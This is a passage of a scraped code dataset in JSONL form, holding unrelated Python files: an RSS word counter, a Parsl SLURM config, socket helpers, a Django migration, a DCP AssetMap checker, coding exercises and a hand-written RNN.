print(d['feed']['title'])\n\n # 循环遍历所有的文章条目\n for e in d.entries:\n if 'summary' in e:\n summary = e.summary\n else:\n summary = e.discription\n\n # 提取一个单词列表\n words = get_words(e.title + ' ' + summary)\n for word in words:\n wc.setdefault(word, 0)\n wc[word] += 1\n\n return d['feed']['title'], wc\n\n\n# 将所有的HTML标记剥离掉,并以非字母字符作为分隔符拆分出单词,再将结果以列表的形式加以返回\ndef get_words(html):\n # 去除所有HTML标记\n txt = re.compile(r'<[^>]+>').sub('', html)\n\n # 利用所有非字母字符拆分出单词\n words = re.compile(r'[^A-Z^a-z]+').split(txt)\n\n # 转换成小写形式\n return [word.lower() for word in words if word != '']\n\n\ndef main():\n # 生成针对每个博客的单词统计,以及出现这些单词的博客数目\n apcount = {}\n wordcounts = {}\n file = open('feedlist.txt', 'r')\n feedlist = [line for line in file.readlines()]\n i=1\n for feedurl in feedlist:\n title1, wc = get_words_counts(feedurl)\n wordcounts[title1] = wc\n for word, count in wc.items():\n apcount.setdefault(word, 0)\n if count > 1:\n apcount[word] += 1\n print(i)\n i=i+1\n\n # 建立一个单词列表,将其实际用于针对每个博客的单词计数\n wordlist = []\n for w, bc in apcount.items():\n frac = float(bc) / len(feedlist)\n if 0.1 < frac < 0.5:\n wordlist.append(w)\n\n out = open(\"blogdata.txt\", 'w')\n out.write('Blog')\n for word in wordlist:\n out.write('\\t%s' % word)\n out.write('\\n')\n for blog, wc in wordcounts.items():\n out.write('%s\\t'% str(blog))\n for word in wordlist:\n if word in wc:\n out.write('\\t%d' % wc[word])\n else:\n out.write('\\t0')\n out.write('\\n')\n out.close()\n file.close()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"generatefeedvector.py","file_name":"generatefeedvector.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"49094683","text":"#!/bin/env python\n\nimport parsl\nimport os\nfrom parsl.config import Config\n\nfrom parsl.channels import OAuthSSHChannel\nfrom parsl.providers import SlurmProvider\nfrom parsl.launchers import SrunLauncher\nfrom parsl.executors import HighThroughputExecutor\nfrom parsl.addresses import address_by_hostname\nfrom parsl.app.app import bash_app\nfrom parsl.app.app import python_app\n\n@python_app()\ndef worker_info():\n #import subprocess\n import os\n return os.uname()\n\n\n\n#parsl.set_file_logger(filename='parsl-anl-slurm-log')\nparsl.set_stream_logger()\n\n\nconfig = Config(\n app_cache=True,\n checkpoint_files=None,\n checkpoint_mode=None,\n checkpoint_period=None,\n data_management_max_threads=10,\n executors=[HighThroughputExecutor(\n address='130.199.185.13',\n cores_per_worker=1.0,\n heartbeat_period=30,\n heartbeat_threshold=120,\n interchange_port_range=(50000, 51000),\n label='gssh.lcrc.anl.gov-slurm',\n launch_cmd='process_worker_pool.py {debug} {max_workers} -p {prefetch_capacity} -c {cores_per_worker} -m {mem_per_worker} --poll {poll_period} --task_url={task_url} --result_url={result_url} --logdir={logdir} --block_id={{block_id}} --hb_period={heartbeat_period} --hb_threshold={heartbeat_threshold} ',\n managed=True,\n max_workers=1,\n mem_per_worker=None,\n poll_period=10,\n prefetch_capacity=0,\n interchange_address='10.70.128.9', #this is the address worker talk to inetrchange(head node)\n provider=SlurmProvider(\n 'debug',\n channel=OAuthSSHChannel(\n 'gssh.lcrc.anl.gov',\n envs={},\n port=2222,\n script_dir='/home/dcowley/anl-parsl-scripts',\n username='dcowley'\n ),\n cmd_timeout=10,\n exclusive=True,\n init_blocks=1,\n # launcher=SingleNodeLauncher(),\n max_blocks=1,\n min_blocks=1,\n move_files=True,\n nodes_per_block=1,\n parallelism=0.0,\n scheduler_options='#SBATCH -A dcde\\n#SBATCH -p bdwall',\n walltime='00:10:00',\n worker_init='source /lcrc/project/DCDE/setup.sh; source activate /lcrc/project/DCDE/envs/dcdeRX; export I_MPI_FABRICS=shm:tmi'\n ),\n storage_access=[],\n suppress_failure=False,\n worker_debug=True,\n worker_logdir_root='/home/dcowley/parsl_scripts/logs',\n worker_port_range=(50000, 51000),\n worker_ports=None,\n working_dir='/home/dcowley/parsl_scripts'\n )],\n lazy_errors=True,\n monitoring=None,\n retries=0,\n run_dir='runinfo',\n strategy='simple',\n #strategy='None',\n usage_tracking=False\n)\n\nparsl.load(config)\n\nresult = worker_info().result()\nprint(result)\nprint(\"result type: %s\" % type(result))\n\nexit()\n","sub_path":"site-tests/jupyter-anl.py","file_name":"jupyter-anl.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"33644403","text":"\n\n## we want to try and create\n## a set of generic classes that facilitate easily\n## reading to / writing to sockets\n# something along the line of setting up pipelines\n\nclass SocketHandler(asyncore.dispatcher,Eventable):\n socket_types = {\n 'tcp':(socket.AF_INET,socket.SOCK_STREAM),\n 'udp':(socket.AF_INET,socket.SOCK_DGRAM)\n }\n\n def __init__(self, host_port, tcp=True, connect_out=False,\n receive_callback=None, send_callback=None):\n\n asyncore.dispatcher.__init__(self)\n Eventable.__init__(self)\n\n self.host_port = host_port\n self.tcp = tcp\n self.connect_out = connect_out\n\n # callbacks if we have them\n self.receive_callback = receive_callback\n self.send_callback = send_callback\n\n # our out buffer\n self.out_data = ''\n\n def setup_connection(self):\n # create our socket\n self.create_socket(self.socket_types['tcp' if self.tcp else 'udp'])\n\n # do we want to listen or connect out?\n if self.connect_out:\n self.connect(self.host_port)\n else:\n self.bind(self.host_port)\n\n def handle_accept(self):\n conn, addr = self.accept()\n self.fire('accept')\n\n def handle_close(self):\n self.close()\n self.fire('close')\n\n def writable(self):\n # we'll always take more data\n return True\n\n def readable(self):\n # do we have anything to send ?\n return bool(len(self.data))\n\n def handle_write(self):\n # figure out what we are going to write\n read_len = min(self.blocksize,len(self.data))\n to_write = self.out_data[:read_len]\n\n # send it\n sent = self.send(to_write)\n self.out_data = self.out_data[sent:]\n\n # let everyone know what we sent\n self.fire('send',to_write)\n if self.send_callback:\n self.send_callback(to_write)\n\n def handle_read(self):\n # read in a block\n data = self.recv(self.blocksize)\n\n # let everyone know what we read\n self.fire('receive',data)\n if self.receive_callback:\n self.receive_callback(data)\n\n def push(self, d):\n self.out_data += d\n","sub_path":"lib/stream_handlers.py","file_name":"stream_handlers.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"641930254","text":"# Файл с настройками\nimport os\n\nMUSIC = os.path.join(os.getcwd(), 'resources/music/music.wav') # Путь к файлу с музыкой\nFONTPATH = os.path.join(os.getcwd(), 'resources/font/12243.otf') # Путь к файлу с шрифтом\n\nSCREENSIZE = (800, 500) # Размер экрана\n\nFPS = 5 # Частота кадров\n\nBLOCK_SIZE = 20 # Размер клетки\nGAME_MATRIX_SIZE = (int(SCREENSIZE[0] / BLOCK_SIZE), int(SCREENSIZE[1] / BLOCK_SIZE)) # Размер игового поля\n","sub_path":"Snake/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"211960414","text":"#Import modules\nimport csv\nimport os\n#create path to file\naccountingFilePath = os.path.join(\"..\",\"Resources\",\"accounting.csv\")\n#read csv\nwith open(accountingFilePath ) as csvFile:\n\t#create csv reader\n\tcsvReader = csv.reader(csvFile)\n\t# print the csv reader object\n\tfor row in csvReader:\n\t\tprint(row)","sub_path":"01-Lesson-Plans/03-Python/2/Activities/08-Ins_ReadCSV/Solved/read_csv.Ben.py","file_name":"read_csv.Ben.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"141791098","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\nimport swerved_app.thumbs\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Category',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=50)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Instrument',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=50)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Interest',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=50)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Profile',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('first_name', models.CharField(max_length=100)),\n ('last_name', models.CharField(max_length=100, blank=True)),\n ('graduation_year', models.IntegerField(null=True, blank=True)),\n ('picture', swerved_app.thumbs.ImageWithThumbsField(null=True, upload_to=b'images/profiles', blank=True)),\n ('phone_number', models.CharField(max_length=20, null=True, blank=True)),\n ('email', models.EmailField(max_length=75, null=True, blank=True)),\n ('website', models.URLField(null=True, blank=True)),\n ('bio', models.TextField(blank=True)),\n ('instruments', models.ManyToManyField(to='swerved_app.Instrument', null=True, blank=True)),\n ('interests', models.ManyToManyField(to='swerved_app.Interest', null=True, blank=True)),\n ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Project',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=500)),\n ('start_date', models.DateField(null=True, blank=True)),\n ('end_date', models.DateField(null=True, blank=True)),\n ('description', models.TextField(blank=True)),\n ('category', models.ForeignKey(to='swerved_app.Category')),\n ('instruments', models.ManyToManyField(to='swerved_app.Instrument', null=True, blank=True)),\n ('interests', models.ManyToManyField(to='swerved_app.Interest', null=True, blank=True)),\n ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Registration',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('confirmation_code', models.CharField(max_length=30)),\n ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"swerved_app/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"46200950","text":"# Clairmeta - (C) YMAGIS S.A.\n# See LICENSE for more information\n\nimport os\n\nfrom clairmeta.utils.uuid import check_uuid\nfrom clairmeta.dcp_check import CheckerBase, CheckException\nfrom clairmeta.dcp_check_utils import check_xml\nfrom clairmeta.dcp_utils import list_am_assets\n\n\nclass Checker(CheckerBase):\n def __init__(self, dcp, profile):\n super(Checker, self).__init__(dcp, profile)\n\n def run_checks(self):\n for source in self.dcp._list_am:\n asset_stack = [source['FileName']]\n\n checks = self.find_check('am')\n [self.run_check(check, source, stack=asset_stack)\n for check in checks]\n\n asset_checks = self.find_check('assets_am')\n [self.run_check(\n check, source, asset,\n stack=asset_stack + [asset[2]['ChunkList']['Chunk']['Path']])\n for asset in list_am_assets(source)\n for check in asset_checks]\n\n return self.check_executions\n\n def check_am_xml(self, am):\n \"\"\" AssetMap XML syntax and structure check.\n\n Reference : N/A\n \"\"\"\n check_xml(\n am['FilePath'],\n am['Info']['AssetMap']['__xmlns__'],\n am['Info']['AssetMap']['Schema'],\n self.dcp.schema)\n\n def check_am_name(self, am):\n \"\"\" AssetMap file name respect DCP standard.\n\n Reference : N/A\n \"\"\"\n schema = am['Info']['AssetMap']['Schema']\n mandatory_name = {\n 'Interop': 'ASSETMAP',\n 'SMPTE': 'ASSETMAP.xml'\n }\n\n if mandatory_name[schema] != am['FileName']:\n raise CheckException(\n \"{} Assetmap must be named {}, got {} instead\".format(\n schema, mandatory_name[schema], am['FileName'])\n )\n\n def check_am_empty_text_fields(self, am):\n \"\"\" AssetMap empty text fields check.\n\n Reference : N/A\n \"\"\"\n fields = ['Creator', 'Issuer', 'AnnotationText']\n empty_fields = []\n\n for f in fields:\n am_f = am['Info']['AssetMap'].get(f)\n if am_f == '':\n empty_fields.append(f)\n\n if empty_fields:\n raise CheckException(\"Empty {} field(s)\".format(\n \", \".join(empty_fields)))\n\n def check_assets_am_uuid(self, am, asset):\n \"\"\" AssetMap UUIDs validation.\n\n Reference :\n SMPTE 429-9-2014 6.1\n \"\"\"\n uuid, _, _ = asset\n if not check_uuid(uuid):\n raise CheckException(\n \"Invalid uuid found : {}\".format(uuid, RFC4122_RE))\n\n def check_assets_am_volindex(self, am, asset):\n \"\"\" AssetMap assets shall reference existing VolIndex.\n\n Reference :\n Deprecated in SMPTE 429-9-2014\n \"\"\"\n _, _, asset = asset\n # Note : schema already check for positive integer\n asset_vol = asset['ChunkList']['Chunk'].get('VolumeIndex')\n if asset_vol and asset_vol > am['Info']['AssetMap']['VolumeCount']:\n raise CheckException(\n \"Invalid VolIndex found : {}\".format(asset_vol))\n\n def check_assets_am_volindex_one(self, am, asset):\n \"\"\" AssetMap assets VolIndex shall be one or absent.\n\n Reference :\n SMPTE 429-9-2014 7.2\n \"\"\"\n _, _, asset = asset\n asset_vol = asset['ChunkList']['Chunk'].get('VolumeIndex')\n if asset_vol and asset_vol != 1:\n raise CheckException(\n \"VolIndex is now deprecated and shall always be 1, got {}\"\n .format(asset_vol))\n\n def check_assets_am_path(self, am, asset):\n \"\"\" AssetMap assets path validation.\n\n Reference :\n SMPTE 429-9-2014 7.1\n \"\"\"\n uuid, path, _ = asset\n\n if path == '':\n raise CheckException(\"Empty path for {}\".format(uuid))\n\n if ' ' in path:\n raise CheckException(\"Space in path\")\n\n if not os.path.isfile(os.path.join(self.dcp.path, path)):\n raise CheckException(\"Missing asset\")\n\n def check_assets_am_size(self, am, asset):\n \"\"\" AssetMap assets size check.\n\n Reference :\n SMPTE 429-9-2014 7.4\n \"\"\"\n _, path, asset = asset\n path = os.path.join(self.dcp.path, path)\n chunk = asset['ChunkList']['Chunk']\n\n if 'Length' not in chunk:\n return\n if os.path.isfile(path):\n actual_size = os.path.getsize(path)\n offset = chunk.get('Offset', 0)\n length = chunk['Length']\n\n if offset >= actual_size:\n raise CheckException(\"Invalid offset value ()\".format(offset))\n if length != actual_size:\n raise CheckException(\"Invalid size value, expected {} but got \"\n \"{}\".format(length, actual_size))\n","sub_path":"clairmeta/dcp_check_am.py","file_name":"dcp_check_am.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"187672808","text":"import socket\n\n# 1.创建套接字对象\nclient =socket.socket()\n\n#2.连接服务器\n\"\"\"\nconnect((ip,端口号))\n\"\"\"\nclient.connect((\"10.7.187.67\",8083))\nwhile True:\n#3.发送消息\n message =input(\"client:\")\n client.send(bytes(message,encoding=\"utf-8\"))\n\n# 4.接收消息\n re_data =client.recv(1024)\n print(\"server:\",re_data.decode(\"utf-8\"))","sub_path":"Python1808/第一阶段/day18-网络编程/03-客户端套接字.py","file_name":"03-客户端套接字.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"249389143","text":"#Complete the function \"digits_sum\" so that it prints the sum of a three digit number.\ndef digits_sum(num):\n new=[]\n for x in str(num):\n new.append(int(x))\n return sum(new)\n\n\n#Invoke the function with any three-digit-number\n#You can try other three-digit numbers if you want\nprint(digits_sum(123))","sub_path":"exercises/14-sum_of_digits/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"279672740","text":"\n\nfrom xai.brain.wordbase.nouns._affiliate import _AFFILIATE\n\n#calss header\nclass _AFFILIATED(_AFFILIATE, ):\n\tdef __init__(self,): \n\t\t_AFFILIATE.__init__(self)\n\t\tself.name = \"AFFILIATED\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"affiliate\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_affiliated.py","file_name":"_affiliated.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"59775449","text":"# Copyright 2019 Objectif Libre\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\nfrom unittest import mock\n\nfrom cloudkitty.api.v2.summary import summary\nfrom cloudkitty import tests\n\nfrom cloudkitty.utils import tz as tzutils\n\n\nclass TestSummaryEndpoint(tests.TestCase):\n\n def setUp(self):\n super(TestSummaryEndpoint, self).setUp()\n self.endpoint = summary.Summary()\n\n def test_type_filter_is_passed_separately(self):\n policy_mock = mock.patch('cloudkitty.common.policy.authorize')\n with mock.patch.object(self.endpoint._storage, 'total') as total_mock:\n with policy_mock, mock.patch('flask.request') as fmock:\n total_mock.return_value = {'total': 0, 'results': []}\n fmock.args.lists.return_value = [\n ('filters', 'a:b,type:awesome')]\n self.endpoint.get()\n total_mock.assert_called_once_with(\n begin=tzutils.get_month_start(),\n end=tzutils.get_next_month(),\n groupby=None,\n filters={'a': 'b'},\n metric_types=['awesome'],\n offset=0,\n limit=100,\n paginate=True,\n )\n","sub_path":"cloudkitty/tests/api/v2/summary/test_summary.py","file_name":"test_summary.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"613275236","text":"#카카오 코테 실전 5번\r\n# 4시 45분 해결\r\n\"\"\"\r\n징검다리가 있고, 한번에 점프할 수 있는 최대 칸 수가 k라고 주어졌음\r\n간단하게 생각해보면 (k+1)개 씩 잘라서 각각 탐색해보면 구할 수 있을 거임\r\n그런데 아마 이러면 효율성이 터질거임\r\n리스트 사이즈를 20만으로 줬으니까 nlogn 안으로 구현해야 한다는 소린데...\r\n흐으음\r\n\r\n연속한 k개가 터지는지 확인해야 하니까\r\n가장 첫번 째 값부터 체크해 나가면서\r\n자기보다 큰지 작은지만 확인?\r\n그러면서 자기보다 작은 가장 큰 수 저장해뒀다가\r\nk번 이상 갔을 때에 자기보다 큰 게 나와���면 그 사이 다 끝났을 때 펑\r\n아님 자기보다 살짝 작은게 나와줘도 펑\r\n\r\n1) 가장 작은 값부터 정렬한 임시 리스트를 하나 만들어주기\r\n2) 임시 리스트에서 이진 탐색하면서 값 하나씩 설정해주기\r\n3) 지금 설정한 값만큼 뺐을 때 통과가 되는지 체크해주기\r\n\r\n-> 정렬 O(nlogn)\r\n탐색 O(logn)\r\n각 탐색에 대해 통과 여부 체크 O(n)\r\n--> O(nlogn) + O(logn * n) 으로 돌아갈 것 같음\r\n그런데 얘도 타임리밋 걸림 문제가 뭐지\r\n탐색이 O(n)이 아니였음 -> 고쳐주니까 해결\r\n\"\"\"\r\n\r\ndef solution(stones, k):\r\n if k == len(stones): #예외 처리: k가 전부 다 커버되는 경우 그냥 최댓값 출력\r\n return max(stones) \r\n\r\n sort_s = sorted(stones) # 돌을 숫자 크기순서로 정렬해준 친구\r\n #print(sort_s, stones)\r\n #print(sort_s)\r\n #print(stones)\r\n n = len(stones)\r\n begin = 0; end = n - 1\r\n while begin <= end: # 이진 탐색 해주기\r\n mid = (begin+end)//2\r\n #print(begin, end, mid, sort_s[mid])\r\n \"\"\"\r\n 이 부분 로직을 좀 수정해줘야 빠르게 돌아갈듯\r\n for다음 max 쓰면 너무 커지나봄\r\n \r\n for i in range(n - k + 1): # 첫 번 째 돌부터 뒤에서 k번째 돌까지\r\n if max(stones[i:i+k]) < sort_s[mid]:\r\n print(1)\r\n # i부터 i+k-1 번째 돌까지 전부 mid번 째 돌 사이즈보다 작으면\r\n # 이만큼이 전부 빈거니까 건널 수 없음\r\n end = mid - 1\r\n break\r\n else: # 그런 경우가 없으면 = 이 돌 사이즈까지는 문제 없으면\r\n print(2)\r\n begin = mid + 1\r\n print(begin, end, mid)\r\n \"\"\"\r\n i = 0\r\n check = True\r\n while i < n - k + 1:\r\n for j in range(i,i+k):\r\n if stones[j] > sort_s[mid]: # 더 큰 값 찾았으면\r\n i = j+1 # i~j까지는 다시 탐색할 필요 없으니까 바로 점핑\r\n break\r\n else: # 하나도 못찾았으면\r\n check = False\r\n break\r\n\r\n if check: # 가능한 경우 -> begin을 뒤로\r\n begin = mid + 1\r\n else: # 불가능한 경우 -> end를 앞으로\r\n end = mid - 1\r\n \r\n # 5 5 6 -> 5 5 4 되고 끝나는 경우 마지막 탐색이 불가능했던 거니까 5의 값\r\n # 5 5 6 -> 6 6 6 -> 6 6 5 되고 끝나는 경우 5는 가능, 6은 불가능 -> 5의 값\r\n # 6 6 6 -> 7 6 6 되는 경우 가능했던 거니까 6의 값\r\n \r\n # sort_s[end] 로 넣어주면 된다고 생각했음\r\n # 그런데 sort_s[begin]으로 넣으니까 맞았음 이유가 뭘까\r\n # 좀따 생각해보기로\r\n \r\n #print(begin, end, mid)\r\n #print(sort_s[begin], sort_s[end], sort_s[mid])\r\n return sort_s[begin]\r\n\r\nimport random\r\nstones = [random.randint(1,100) for _ in range(30)]\r\nk = 4\r\nprint(solution(stones, k))\r\n","sub_path":"Level 3/징검다리 건너기.py","file_name":"징검다리 건너기.py","file_ext":"py","file_size_in_byte":3734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"263004385","text":"def pancake_flips(P):\r\n flips = 0\r\n last = ''\r\n for i in range(len(P)):\r\n # print(\"Pi: \" + P[i])\r\n if i == 0:\r\n last = P[i]\r\n elif P[i] != last:\r\n flips = flips+1\r\n last = P[i]\r\n if last == '-':\r\n flips = flips+1\r\n return flips\r\n\r\nif __name__ == \"__main__\":\r\n input = \"B-large\"\r\n f = open(input + \".in\")\r\n output = open(input + \".out\", \"w\")\r\n cases = int(f.readline())\r\n for i in range(cases):\r\n P = list(f.readline().strip())\r\n output.write(\"Case #\" + str(i+1)+ \": \" + str(pancake_flips(P))+\"\\n\")\r\n f.close()\r\n output.close()","sub_path":"codes/CodeJamCrawler/16_0_2_neat/16_0_2_Bino_pancakes.py","file_name":"16_0_2_Bino_pancakes.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"323159755","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom extract_data import get_mapping\nnp.random.seed(401)\n\n\n# class Layer():\n\nclass RNN():\n def __init__(self, K, seq_length, m, eta, update):\n self.K = K\n self.seq_length = seq_length\n self.m = m\n self.eta = eta\n self.update = update\n # PARAM\n self.U = np.random.normal(0,0.01, (m, K))#.astype('float64')\n self.W = np.random.normal(0,0.01, (m, m))#.astype('float64')\n self.V = np.random.normal(0,0.01, (K, m))#.astype('float64')\n # BIAS\n self.b = np.zeros((m,1))#.astype('float64')\n self.c = np.zeros((K,1))#.astype('float64')\n # HIDDEN\n self.O = np.zeros((K, self.seq_length))#.astype('float64')\n\n self.init_h = np.zeros([m,1])\n\n self.P = np.zeros((K, seq_length))\n self.O = np.zeros((K, seq_length))\n self.H = np.zeros((m, seq_length))#.astype('float64')\n self.A = np.zeros((m, seq_length))#.astype('float64')\n \nclass Gradients():\n def __init__(self,K,m, seq_length):\n # GRADIENTS\n self.U = np.zeros((m, K))#.astype('float64')\n self.W = np.zeros((m, m))#.astype('float64')\n self.V = np.zeros((K, m))#.astype('float64')\n # BIAS\n self.b = np.zeros((m,1))#.astype('float64')\n self.c = np.zeros((K,1))#.astype('float64')\n # PREDs\n self.prev_U = 0\n self.prev_W = 0\n self.prev_V = 0\n self.prev_c = 0\n self.prev_b = 0\n # HIDDEN \n# self.H = np.zeros((m, seq_length))#.astype('float64')\n# self.A = np.zeros((m, seq_length))#.astype('float64')\n# self.o = 0\n\ndef one_hot(X_chars, Y_chars, rnn):\n X = np.zeros((rnn.K,rnn.seq_length))\n Y = np.zeros((rnn.K,rnn.seq_length))\n for l in range(rnn.seq_length):\n idx = rnn.char_to_idx[X_chars[l]]\n X[idx,l] = 1\n jdx = rnn.char_to_idx[Y_chars[l]]\n Y[jdx,l] = 1\n return X, Y\n\ndef print_text(text):\n for t in text:\n print(t, end='')\n\ndef softmax(input):\n return np.exp(input) / np.sum(np.exp(input),axis=0)\n\ndef tanh(input):\n return np.tanh(input)\n# return (np.exp(input) - (1/np.exp(input))) / (np.exp(input) + (1/np.exp(input)))\n\ndef computeCost_orig(Y, P):\n return np.sum(np.diag(-np.log(np.matmul(Y.T, P))))\n\ndef computeCost(Y,P):\n loss = -np.sum(Y * np.log(P))\n return loss\n \n# def computeCost(Y, P):\n# # cross entropy loss\n# idx = np.argmax(P * Y,axis = 0)\n# cost_vec = np.zeros((1,idx.shape[0]))\n# for i, p in enumerate(idx):\n# cost_vec[0,i] = P[p,i]\n# cost_vec[cost_vec == 0] = np.finfo(float).eps\n# return np.sum(-np.log(cost_vec))\n\ndef forward(rnn, X, Y, h, num_grad = False):\n if num_grad:\n pass\n #else: rnn.init_h = h\n K = X.shape[0]\n m = h.shape[0]\n seq_length = X.shape[1]\n# P = np.zeros((K, seq_length))\n# O = np.zeros((K, seq_length))\n# H = np.zeros((m, seq_length))#.astype('float64')\n# A = np.zeros((m, seq_length))#.astype('float64')\n loss = 0\n# for t in range(seq_length):\n# H[:,t] = h.reshape(-1,)\n# a = (rnn.W @ h) + (rnn.U @ X[:,t].reshape(-1,1)) + rnn.b\n# A[:,t] = a.reshape(-1,)\n# h = tanh(a)\n# \n# o = (rnn.V @ h) + rnn.c\n# O[:,t] = o.reshape(-1,)\n# p = softmax(o).reshape(-1,)\n# P[:,t] = p\n\n for i in range(seq_length):\n if i == 0:\n h0 = rnn.init_h\n rnn.A[:,i] = np.reshape(np.reshape(np.dot(rnn.W, h0),[-1,1]) + np.dot(rnn.U, np.reshape(X[:,i],[-1,1])) + rnn.b, rnn.m)\n rnn.H[:,i] = np.tanh(rnn.A[:,i])\n rnn.O[:,i] = np.reshape(np.dot(rnn.V, np.reshape(rnn.H[:,i],[-1,1])) + rnn.c, rnn.K)\n rnn.P[:,i] = softmax(rnn.O[:,i])\n else:\n rnn.A[:,i] = np.reshape(np.dot(rnn.W, np.reshape(rnn.H[:, i-1],[-1,1])) + np.dot(rnn.U, np.reshape(X[:,i],[-1,1])) + rnn.b, m)\n rnn.H[:,i] = np.tanh(rnn.A[:,i])\n rnn.O[:,i] = np.reshape(np.dot(rnn.V, np.reshape(rnn.H[:,i],[-1,1])) + rnn.c, rnn.K)\n rnn.P[:,i] = softmax(rnn.O[:,i])\n rnn.init_h = np.reshape(rnn.H[:,rnn.seq_length - 1], np.shape(rnn.init_h))\n\n\n# print('O {}'.format(O.shape))\n# print('H {}'.format(H.shape))\n# print('P {}'.format(P.shape))\n# print('A {}'.format(A.shape))\n \n# loss = loss + np.log(Y[:, t] @ p);\n# loss = -loss\n return rnn\n \ndef backward_test(rnn,X,Y,P,H,A,init_h):\n \n # dl_do\n gradients = Gradients(rnn.K,rnn.m,rnn.seq_length)\n G = -(Y-P)\n# # dl_dv\n grad_V = G @ H.T\n # dl_dc\n grad_c = G.sum(1).reshape(-1,1)\n # CALCULATE LAST TIMESTEP GRADIENTS FOR ∂h and ∂a \n dl_dh_tau = G[:,-1].T @ rnn.V # 80, @ 80,100\n dl_da_tau = dl_dh_tau @ np.diag(1-np.tanh(A[:,-1])**2)\n gradients.A = np.zeros((rnn.seq_length,rnn.m)) # ?????? LAST GRADIENT, first step in loop\n gradients.H = np.zeros((rnn.seq_length,rnn.m)) # ?????? LAST GRADIENT, first step in loop\n gradients.H[-1,:] = dl_dh_tau # ?????? LAST GRADIENT, first step in loop\n gradients.A[-1,:] = dl_da_tau\n # PRECOMPUTE ALL GRADIENTS FOR A AND H\n for t in range(rnn.seq_length-2,-1,-1):\n gradients.H[t,:] = G[:,t].T @ rnn.V + gradients.A[t+1,:] @ rnn.W\n gradients.A[t,:] = gradients.H[t,:] @ np.diag(1-np.tanh(A[:,t])**2)\n# self.grad_A[:,t] = self.grad_H[:,t] @ np.diag(np.where(self.A[:,t] > 0, 1, 0))\n \n # G = ∂L_∂at = (100x25)\n G_V = G.copy()\n G = gradients.A.copy()\n gradients.b = G.sum(0).reshape(-1,1)\n # ∂L_∂V GRADIENT of W w.r.t L.\n for t in range(rnn.seq_length): # TODO FRAMLÄNGES ELLER BAKLÄNGES ??\n# print(g.shape, h.shape, self.init_h.shape, G.shape)\n g = G[t,:].reshape(-1,1)\n h = H[:,t-1].reshape(-1,1)\n if t == 0:\n gradients.W = gradients.W + (g @ init_h.T)\n else: \n gradients.W = gradients.W + (g @ h.T)\n# x = X[:,t].reshape(-1,1)\n# self.grad_U += g.T @ x.T\n\n # ∂L_∂U GADIENT OF U w.r.t L\n# print(G.shape, X.T.shape)\n gradients.U = G.T @ X.T # HÄR AVVIKER JAG FRÅN SLIDSEN. BORDE VARA G.T 